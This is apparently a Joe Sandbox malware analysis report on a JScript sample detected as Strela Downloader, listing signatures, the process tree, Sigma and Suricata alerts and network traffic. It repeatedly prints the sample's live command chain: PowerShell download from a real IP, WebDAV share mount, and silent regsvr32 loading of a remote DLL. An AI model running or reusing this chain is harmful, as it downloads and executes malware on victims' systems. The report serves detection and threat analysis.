Edit tour

Windows Analysis Report
24108325173196611859.js

Overview

General Information

Sample name:	24108325173196611859.js
Analysis ID:	1588093
MD5:	f70d1795fa14bf34cdb5bf3df05496b0
SHA1:	31e03c6aba5f1b0d03f66d89ad4fc85afce737de
SHA256:	c67eaa5b63e3e3af1860c8408ff6b6af9149bb845334462b29f79cbcef557ef7
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Desusertion Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7800 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24108325173196611859.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7856 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7868 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7904 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 8088 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5860 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7788 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2276 --field-trial-handle=1528,i,2172520176096589813,9762019331297219805,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 8116 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 8156 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 3320 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7800	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7856, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7904, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7856, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7904, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24108325173196611859.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24108325173196611859.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24108325173196611859.js", ProcessId: 7800, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Desusertion Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DesusertionIp: 193.143.1.205, DesusertionIsIpv6: false, DesusertionPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 8156, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49794

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24108325173196611859.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7800, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, ProcessId: 7856, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24108325173196611859.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7800, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, ProcessId: 7856, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24108325173196611859.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7800, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, ProcessId: 7856, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24108325173196611859.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7800, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, ProcessId: 7856, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24108325173196611859.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7800, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, ProcessId: 7856, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24108325173196611859.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24108325173196611859.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24108325173196611859.js", ProcessId: 7800, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7856, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7904, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8116, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8156, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3320, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8116, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8156, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24108325173196611859.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7800, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll, ProcessId: 7856, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:19:35.958524+0100	1810005	1	Potentially Bad Traffic	192.168.2.9	49794	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:19:31.874782+0100	1810000	2	Potentially Bad Traffic	192.168.2.9	49773	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 24108325173196611859.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 24108325173196611859.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.9:49794 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:19:31 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49794

Source: global traffic

TCP traffic: 192.168.2.9:49794 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.9:49773 -> 193.143.1.205:80

Source: global traffic

